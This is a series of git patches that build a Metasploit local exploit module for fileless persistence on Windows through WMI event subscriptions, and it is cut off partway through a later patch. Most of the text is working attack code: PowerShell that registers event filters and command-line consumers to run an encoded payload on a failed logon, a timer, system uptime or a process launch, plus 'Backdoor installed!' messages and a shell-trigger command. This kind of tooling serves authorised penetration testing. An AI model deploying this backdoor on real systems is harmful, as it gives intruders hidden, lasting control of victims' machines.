From 994995671ec55e9c20cb0397299c30ddb9576119 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Mon, 5 Jun 2017 17:44:37 +0100 Subject: [PATCH 01/16] added wmi_persistence module --- .../exploits/windows/local/wmi_persistence.rb | 151 ++++++++++++++++++ 1 file changed, 151 insertions(+) create mode 100644 modules/exploits/windows/local/wmi_persistence.rb diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb new file mode 100644 index 0000000000..5461ae55ef --- /dev/null +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -0,0 +1,151 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/powershell' +require 'msf/core/post/windows/powershell' +require 'msf/core/post/file' + +class MetasploitModule < Msf::Exploit::Local + + include Msf::Post::Windows::Powershell + include Msf::Exploit::Powershell + include Post::Windows::Priv + include Msf::Post::File + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WMI Event Subscription Persistence', + 'Description' => %q{ + This module will create a permanent WMI event subscription to achieve file-less persistence using one + of two methods. The USERNAME method will create an event filter that will query the event log for an + EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER. + When these criteria are met a command line event consumer will trigger an encoded powershell payload. + The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. + This module requires administrator level privileges as well as a high integrity process. It is also + recommended not to use stageles payloads due to powershell script length limitations. + }, + 'Author' => ['Nick Tyrer <@NickTyrer>'], + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Platform' => 'win', + 'SessionTypes' => ['meterpreter'], + 'Targets' => [['Windows', {}]], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'true' + }, + 'References' => [ + ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'], + ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'] + ] + )) + + register_options([ + OptEnum.new('PERSISTENCE_METHOD', + [true, 'Method to trigger the payload.', 'USERNAME', ['USERNAME','INTERVAL']]), + OptInt.new('EVENT_ID_TRIGGER', + [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), + OptString.new('USERNAME_TRIGGER', + [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), + OptInt.new('CALLBACK_INTERVAL', + [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), + OptString.new('CLASSNAME', + [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) + ]) + end + + + def build_payload + cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) + end + + + def subscription_user + command = build_payload + event_id = datastore['EVENT_ID_TRIGGER'] + username = datastore['USERNAME_TRIGGER'] + class_name = datastore['CLASSNAME'] + +"auditpol.exe /set /subcategory:Logon /failure:Enable +$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent Within 5 WHERE TargetInstance ISA 'Win32_NTLogEvent' And Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} +$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} +$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + end + + def subscription_interval + command = build_payload + class_name = datastore['CLASSNAME'] + callback_interval = datastore['CALLBACK_INTERVAL'] + +"$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} +$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} +$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} +$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + end + + + def log_file(log_path = nil) # Thanks Meatballs for this + # Get hostname + host = session.session_host + + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + + # Create a directory for the logs + if log_path + logs = ::File.join(log_path, 'logs', 'wmi_persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + else + logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence', + Rex::FileUtils.clean_path(host + filenameinfo)) + end + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + # logfile name + logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc') + logfile + end + + + def cleanup + name_class = datastore['CLASSNAME'] + clean_rc = log_file() + clean_up_rc = "" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" + file_local_write(clean_rc, clean_up_rc) + print_status("Clean up Meterpreter RC file: #{clean_rc}") + end + + + def exploit + raise "Powershell not available" if ! have_powershell? + + unless is_admin? + print_error("This module requires admin privs to run") + return + end + + unless is_high_integrity? + print_error("This module requires UAC to be bypassed first") + return + end + + case datastore['PERSISTENCE_METHOD'] + when 'INTERVAL' + psh_exec(subscription_interval) + print_good "Backdoor installed!" + @cleanup + when 'USERNAME' + psh_exec(subscription_user) + print_good "Backdoor installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" + @cleanup + end + end +end From 1831056010e7a6ed86278173f9b7c1cf45dc4773 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Tue, 6 Jun 2017 14:32:19 +0100 Subject: [PATCH 02/16] updated disclosure date --- modules/exploits/windows/local/wmi_persistence.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 5461ae55ef..213ed553b8 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -32,6 +32,7 @@ class MetasploitModule < Msf::Exploit::Local 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Targets' => [['Windows', {}]], + 'DisclosureDate' => 'June 06 2017', 'DefaultTarget' => 0, 'DefaultOptions' => { From 09e4974b99083b1a759691da34f935baadc3e915 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Tue, 6 Jun 2017 14:44:37 +0100 Subject: [PATCH 03/16] removed whitespace at end of lines --- modules/exploits/windows/local/wmi_persistence.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 213ed553b8..b65700ce29 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Local 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Targets' => [['Windows', {}]], - 'DisclosureDate' => 'June 06 2017', + 'DisclosureDate' => 'Jun 6 2017', 'DefaultTarget' => 0, 'DefaultOptions' => { @@ -117,7 +117,7 @@ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class _ name_class = datastore['CLASSNAME'] clean_rc = log_file() clean_up_rc = "" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" file_local_write(clean_rc, clean_up_rc) @@ -139,7 +139,7 @@ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class _ end case datastore['PERSISTENCE_METHOD'] - when 'INTERVAL' + when 'INTERVAL' psh_exec(subscription_interval) print_good "Backdoor installed!" @cleanup From 85173f36f759ead0cc67b91dd1eb4b95a25e77a2 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Sat, 17 Jun 2017 10:30:38 +0100 Subject: [PATCH 04/16] moved exploit method moved to top added logon persistence option fixed typo cleaned up formatting --- .../exploits/windows/local/wmi_persistence.rb | 92 +++++++++++-------- 1 file changed, 53 insertions(+), 39 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index b65700ce29..723d99d8fa 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -19,12 +19,13 @@ class MetasploitModule < Msf::Exploit::Local 'Name' => 'WMI Event Subscription Persistence', 'Description' => %q{ This module will create a permanent WMI event subscription to achieve file-less persistence using one - of two methods. The USERNAME method will create an event filter that will query the event log for an + of three methods. The USERNAME method will create an event filter that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER. When these criteria are met a command line event consumer will trigger an encoded powershell payload. The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. - This module requires administrator level privileges as well as a high integrity process. It is also - recommended not to use stageles payloads due to powershell script length limitations. + The LOGON method will create an event filter that will trigger the payload after the system uptime has reached + the specified value. This module requires administrator level privileges as well as a high integrity process. + It is also recommended not to use stageless payloads due to powershell script length limitations. }, 'Author' => ['Nick Tyrer <@NickTyrer>'], 'License' => MSF_LICENSE, @@ -46,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptEnum.new('PERSISTENCE_METHOD', - [true, 'Method to trigger the payload.', 'USERNAME', ['USERNAME','INTERVAL']]), + [true, 'Method to trigger the payload.', 'USERNAME', ['USERNAME','INTERVAL','LOGON']]), OptInt.new('EVENT_ID_TRIGGER', [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), OptString.new('USERNAME_TRIGGER', @@ -59,32 +60,70 @@ class MetasploitModule < Msf::Exploit::Local end + def exploit + raise "Powershell not available" if ! have_powershell? + + unless is_admin? + print_error("This module requires admin privs to run") + return + end + + unless is_high_integrity? + print_error("This module requires UAC to be bypassed first") + return + end + + case datastore['PERSISTENCE_METHOD'] + when 'LOGON' + psh_exec(subscription_logon) + print_good "Backdoor installed!" + @cleanup + when 'INTERVAL' + psh_exec(subscription_interval) + print_good "Backdoor installed!" + @cleanup + when 'USERNAME' + psh_exec(subscription_user) + print_good "Backdoor installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" + @cleanup + end + end + + def build_payload cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) end + def subscription_logon + command = build_payload + class_name = datastore['CLASSNAME'] + "$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + end + + def subscription_user command = build_payload event_id = datastore['EVENT_ID_TRIGGER'] username = datastore['USERNAME_TRIGGER'] class_name = datastore['CLASSNAME'] - -"auditpol.exe /set /subcategory:Logon /failure:Enable -$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent Within 5 WHERE TargetInstance ISA 'Win32_NTLogEvent' And Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} -$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} -$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + "auditpol.exe /set /subcategory:Logon /failure:Enable + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" end + def subscription_interval command = build_payload class_name = datastore['CLASSNAME'] callback_interval = datastore['CALLBACK_INTERVAL'] - -"$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} -$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} -$consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} -$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + "$timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"} + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'} + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" end @@ -124,29 +163,4 @@ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class _ print_status("Clean up Meterpreter RC file: #{clean_rc}") end - - def exploit - raise "Powershell not available" if ! have_powershell? - - unless is_admin? - print_error("This module requires admin privs to run") - return - end - - unless is_high_integrity? - print_error("This module requires UAC to be bypassed first") - return - end - - case datastore['PERSISTENCE_METHOD'] - when 'INTERVAL' - psh_exec(subscription_interval) - print_good "Backdoor installed!" - @cleanup - when 'USERNAME' - psh_exec(subscription_user) - print_good "Backdoor installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" - @cleanup - end - end end From 6096e373cca5869cb7357d755ca90e7fe93e94dc Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Sat, 17 Jun 2017 10:44:30 +0100 Subject: [PATCH 05/16] removed whitespace --- modules/exploits/windows/local/wmi_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 723d99d8fa..c11342f3bb 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Local EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER. When these criteria are met a command line event consumer will trigger an encoded powershell payload. The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. - The LOGON method will create an event filter that will trigger the payload after the system uptime has reached + The LOGON method will create an event filter that will trigger the payload after the system uptime has reached the specified value. This module requires administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. }, From 096469a8ec92ee7c3a49dd1e6ac95c82d6b2ed12 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Sun, 18 Jun 2017 20:42:07 +0100 Subject: [PATCH 06/16] added PROCESS persistence method --- .../exploits/windows/local/wmi_persistence.rb | 58 ++++++++++++------- 1 file changed, 37 insertions(+), 21 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index c11342f3bb..2751351223 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -19,12 +19,13 @@ class MetasploitModule < Msf::Exploit::Local 'Name' => 'WMI Event Subscription Persistence', 'Description' => %q{ This module will create a permanent WMI event subscription to achieve file-less persistence using one - of three methods. The USERNAME method will create an event filter that will query the event log for an + of four methods. The USERNAME method will create an event filter that will query the event log for an EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER. When these criteria are met a command line event consumer will trigger an encoded powershell payload. The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. - The LOGON method will create an event filter that will trigger the payload after the system uptime has reached - the specified value. This module requires administrator level privileges as well as a high integrity process. + The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4 + minutes. The PROCESS method will create an event filter that triggers the payload when the specified process is + started. This module requires administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations. }, 'Author' => ['Nick Tyrer <@NickTyrer>'], @@ -47,12 +48,14 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptEnum.new('PERSISTENCE_METHOD', - [true, 'Method to trigger the payload.', 'USERNAME', ['USERNAME','INTERVAL','LOGON']]), + [true, 'Method to trigger the payload.', 'USERNAME', ['USERNAME','INTERVAL','LOGON','PROCESS']]), OptInt.new('EVENT_ID_TRIGGER', [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), OptString.new('USERNAME_TRIGGER', [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]), - OptInt.new('CALLBACK_INTERVAL', + OptString.new('PROCESS_TRIGGER', + [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]), + OptInt.new('CALLBACK_INTERVAL', [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]), OptString.new('CLASSNAME', [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) @@ -86,6 +89,10 @@ class MetasploitModule < Msf::Exploit::Local psh_exec(subscription_user) print_good "Backdoor installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" @cleanup + when 'PROCESS' + psh_exec(subscription_process) + print_good "Backdoor installed!" + @cleanup end end @@ -99,20 +106,8 @@ class MetasploitModule < Msf::Exploit::Local command = build_payload class_name = datastore['CLASSNAME'] "$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'} - $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} - $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" - end - - - def subscription_user - command = build_payload - event_id = datastore['EVENT_ID_TRIGGER'] - username = datastore['USERNAME_TRIGGER'] - class_name = datastore['CLASSNAME'] - "auditpol.exe /set /subcategory:Logon /failure:Enable - $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} - $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} - $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" end @@ -127,6 +122,28 @@ class MetasploitModule < Msf::Exploit::Local end + def subscription_user + command = build_payload + event_id = datastore['EVENT_ID_TRIGGER'] + username = datastore['USERNAME_TRIGGER'] + class_name = datastore['CLASSNAME'] + "auditpol.exe /set /subcategory:Logon /failure:Enable + $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'} + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + end + + + def subscription_process + command = build_payload + class_name = datastore['CLASSNAME'] + process_name = datastore['PROCESS_TRIGGER'] + "$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'} + $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"} + $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}" + end + + def log_file(log_path = nil) # Thanks Meatballs for this # Get hostname host = session.session_host @@ -162,5 +179,4 @@ class MetasploitModule < Msf::Exploit::Local file_local_write(clean_rc, clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") end - -end +end \ No newline at end of file From 681f9f37a674889d2ae0d44346851489af56af1f Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Mon, 19 Jun 2017 08:35:57 +0100 Subject: [PATCH 07/16] updated check if powershell is available --- modules/exploits/windows/local/wmi_persistence.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 2751351223..8a5c371890 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -64,7 +64,10 @@ class MetasploitModule < Msf::Exploit::Local def exploit - raise "Powershell not available" if ! have_powershell? + unless have_powershell? + print_error("This module requires powershell to run") + return + end unless is_admin? print_error("This module requires admin privs to run") @@ -179,4 +182,4 @@ class MetasploitModule < Msf::Exploit::Local file_local_write(clean_rc, clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") end -end \ No newline at end of file +end From 24404ae40fc2cb89f0decb0e8c24eb8aa0d14bbd Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Wed, 21 Jun 2017 18:15:13 +0100 Subject: [PATCH 08/16] added heredoc to tidy formatting changed USER persistence method to EVENT to better describe technique removed "auditpol.exe /set /subcategory:Logon /failure:Enable" command from subscription_event method to be more opsec safe added CUSTOM_PS_COMMAND advanced option updated description to reflect changes --- .../exploits/windows/local/wmi_persistence.rb | 81 +++++++++++-------- 1 file changed, 47 insertions(+), 34 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 8a5c371890..96e8db64b5 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -19,14 +19,16 @@ class MetasploitModule < Msf::Exploit::Local 'Name' => 'WMI Event Subscription Persistence', 'Description' => %q{ This module will create a permanent WMI event subscription to achieve file-less persistence using one - of four methods. The USERNAME method will create an event filter that will query the event log for an - EVENT_ID_TRIGGER (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER. - When these criteria are met a command line event consumer will trigger an encoded powershell payload. - The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. - The LOGON method will create an event filter that will trigger the payload after the system has an uptime of 4 - minutes. The PROCESS method will create an event filter that triggers the payload when the specified process is - started. This module requires administrator level privileges as well as a high integrity process. - It is also recommended not to use stageless payloads due to powershell script length limitations. + of four methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER + (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing + must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon + /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload. + The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON + method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS + method will create an event filter that triggers the payload when the specified process is started. Additionally a custom + command can be specified to run once the trigger is activated using the advanced option CUSTOM_PS_COMMAND. This module requires + administrator level privileges as well as a high integrity process. It is also recommended not to use stageless payloads + due to powershell script length limitations. }, 'Author' => ['Nick Tyrer <@NickTyrer>'], 'License' => MSF_LICENSE, @@ -48,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Local register_options([ OptEnum.new('PERSISTENCE_METHOD', - [true, 'Method to trigger the payload.', 'USERNAME', ['USERNAME','INTERVAL','LOGON','PROCESS']]), + [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS']]), OptInt.new('EVENT_ID_TRIGGER', [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]), OptString.new('USERNAME_TRIGGER', @@ -60,6 +62,12 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('CLASSNAME', [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]) ]) + + register_advanced_options( + [ + OptString.new('CUSTOM_PS_COMMAND', + [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]), + ]) end @@ -82,35 +90,44 @@ class MetasploitModule < Msf::Exploit::Local case datastore['PERSISTENCE_METHOD'] when 'LOGON' psh_exec(subscription_logon) - print_good "Backdoor installed!" + print_good "Persistence installed!" @cleanup when 'INTERVAL' psh_exec(subscription_interval) - print_good "Backdoor installed!" + print_good "Persistence installed!" @cleanup - when 'USERNAME' - psh_exec(subscription_user) - print_good "Backdoor installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" + when 'EVENT' + psh_exec(subscription_event) + print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" @cleanup when 'PROCESS' psh_exec(subscription_process) - print_good "Backdoor installed!" + print_good "Persistence installed!" @cleanup end end def build_payload - cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) + if datastore['CUSTOM_PS_COMMAND'] + script_in = 